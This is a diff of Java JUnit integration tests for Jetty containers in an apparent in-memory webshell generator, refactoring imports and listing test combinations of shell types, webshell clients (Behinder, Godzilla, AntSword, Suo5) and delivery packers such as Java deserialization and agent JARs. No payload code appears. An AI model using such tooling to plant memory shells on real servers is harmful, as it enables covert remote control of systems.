arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,30 +42,30 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -41,36 +41,36 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class Jetty76ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,36 +42,36 @@ public class Jetty81ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -43,36 +43,36 @@ public class Jetty92ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
